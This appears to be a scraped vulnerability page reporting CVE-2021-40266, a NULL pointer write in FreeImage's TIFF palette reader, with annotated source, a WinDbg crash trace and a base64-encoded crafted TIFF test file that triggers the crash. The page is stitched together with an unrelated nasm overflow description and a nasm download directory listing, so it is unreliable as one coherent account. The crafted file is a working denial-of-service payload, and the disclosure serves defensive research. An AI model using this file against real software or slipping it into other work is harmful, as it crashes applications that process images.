                    pal\[1\].rgbRed \= pal\[1\].rgbGreen \= pal\[1\].rgbBlue \= 255;
                }

            } else if ((bitspersample \== 4) ||(bitspersample \== 8)) {
                // need to build the scale for greyscale images
                int ncolors \= FreeImage\_GetColorsUsed(dib);

                if (photometric \== PHOTOMETRIC\_MINISBLACK) {
                    for (int i \= 0; i < ncolors; i++) {
                        pal\[i\].rgbRed   \=                                        //<---- write
                        pal\[i\].rgbGreen \=
                        pal\[i\].rgbBlue  \= (BYTE)(i\*(255/(ncolors\-1)));
                    }
                } else {
                    for (int i \= 0; i < ncolors; i++) {
                        pal\[i\].rgbRed   \=                                        //<---- write
                        pal\[i\].rgbGreen \=
                        pal\[i\].rgbBlue  \= (BYTE)(255\-i\*(255/(ncolors\-1)));
                    }
                }
            }

            break;

        case PHOTOMETRIC\_PALETTE:   // color map indexed
            uint16\_t \*red;
            uint16\_t \*green;
            uint16\_t \*blue;

            TIFFGetField(tiff, TIFFTAG\_COLORMAP, &red, &green, &blue); 

            // load the palette in the DIB

            if (CheckColormap(1<<bitspersample, red, green, blue) \== 16) {
                for (int i \= (1 << bitspersample) \- 1; i \>= 0; i\--) {
                    pal\[i\].rgbRed \=(BYTE) CVT(red\[i\]);                             //<---- write
                    pal\[i\].rgbGreen \= (BYTE) CVT(green\[i\]);
                    pal\[i\].rgbBlue \= (BYTE) CVT(blue\[i\]);
                }
            } else {
                for (int i \= (1 << bitspersample) \- 1; i \>= 0; i\--) {
                    pal\[i\].rgbRed \= (BYTE) red\[i\];                                 //<---- write
                    pal\[i\].rgbGreen \= (BYTE) green\[i\];
                    pal\[i\].rgbBlue \= (BYTE) blue\[i\];
                }
            }

            break;
    }
}

function FreeImage\_GetPalette() maybe return NULL.

FreeImage\_GetPalette(FIBITMAP \*dib) {
    return (dib && FreeImage\_GetBPP(dib) < 16) ? (RGBQUAD \*)(((BYTE \*)FreeImage\_GetInfoHeader(dib)) + sizeof(BITMAPINFOHEADER)) : NULL;
}

unsigned DLL\_CALLCONV
FreeImage\_GetBPP(FIBITMAP \*dib) {
    return dib ? FreeImage\_GetInfoHeader(dib)\->biBitCount : 0;
}

Variable biBitCount is calc by "bitspersample" and "samplesperpixel" in function "CreateImageType", and these two variable are read from file.  
So if variable biBitCount less than 16, FreeImage will try to write nullptr. It allows an attacker to cause Denial of Service.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(17dc.5d5c): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=2b110000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=0095f420 ebp\=0095f44c iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(17dc.5d5c): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=000000ff ebx\=069ceff8 ecx\=00000000 edx\=00000000 esi\=00000000 edi\=00000000
eip\=10034fbc esp\=0095f63c ebp\=00000000 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010246
FreeImage!\_TIFFmemcmp+0x3fc:
10034fbc 884500          mov     byte ptr \[ebp\],al          ss:002b:00000000\=??
0:000\> kv
 \# ChildEBP RetAddr      Args to Child
00 0095f658 10037780     00000001 00000010 06982fc8 FreeImage!\_TIFFmemcmp+0x3fc (FPO: \[Uses EBP\] \[2,5,4\])
01 0095f8a0 1000d9de     0095f8f4 06982fc8 00000010 FreeImage!\_TIFFmemcmp+0x2bc0 (FPO: \[5,139,3\])
02 0095f8d4 1000da60     00000012 0095f8f4 06982fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
03 0095f900 00b0107b     00000012 0697efee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAHAAABAwABAAAAIAAAAAEBAwABAAAAIAAAABcBBAAMAAAACAAAABEBBAAEAAAACAAAABYBAwABAAAAAAQAABUBAwABAAAAEAAAAEMBAwABAAAAAQAAAAAAAAA\=

CVE-2021-40266: FreeImage / Bugs / #334 A NULL pointer dereference exists in function ReadPalette() located in PluginTIFF.cpp

Buffer overflow vulnerability in quote_for_pmake in asm/nasm.c in nasm before 2.15.05 allows attackers to cause a denial of service via crafted file.

NameLast modifiedSizeDescription

Parent Directory  -   doc/2020-08-28 09:05 - Online documentation dos/2020-08-28 09:08 - MS-DOS executables linux/2020-08-28 09:08 - Linux packages macosx/2020-08-28 09:08 - MacOS X packages win32/2020-08-28 09:08 - Windows packages (32 bit) win64/2020-08-28 09:08 - Windows packages (64 bit) git.id2020-08-28 09:08 41 Corresponding git revision ID nasm-2.15.05-xdoc.tar.bz22020-08-28 09:05 900KDownloadable documentation nasm-2.15.05-xdoc.tar.gz2020-08-28 09:05 1.0MDownloadable documentation nasm-2.15.05-xdoc.tar.xz2020-08-28 09:05 804KDownloadable documentation nasm-2.15.05-xdoc.zip2020-08-28 09:05 1.0MDownloadable documentation nasm-2.15.05.tar.bz22020-08-28 09:04 1.2MSource code nasm-2.15.05.tar.gz2020-08-28 09:04 1.6MSource code nasm-2.15.05.tar.xz2020-08-28 09:04 972KSource code nasm-2.15.05.zip2020-08-28 09:05 1.8MSource code

Tag

#windows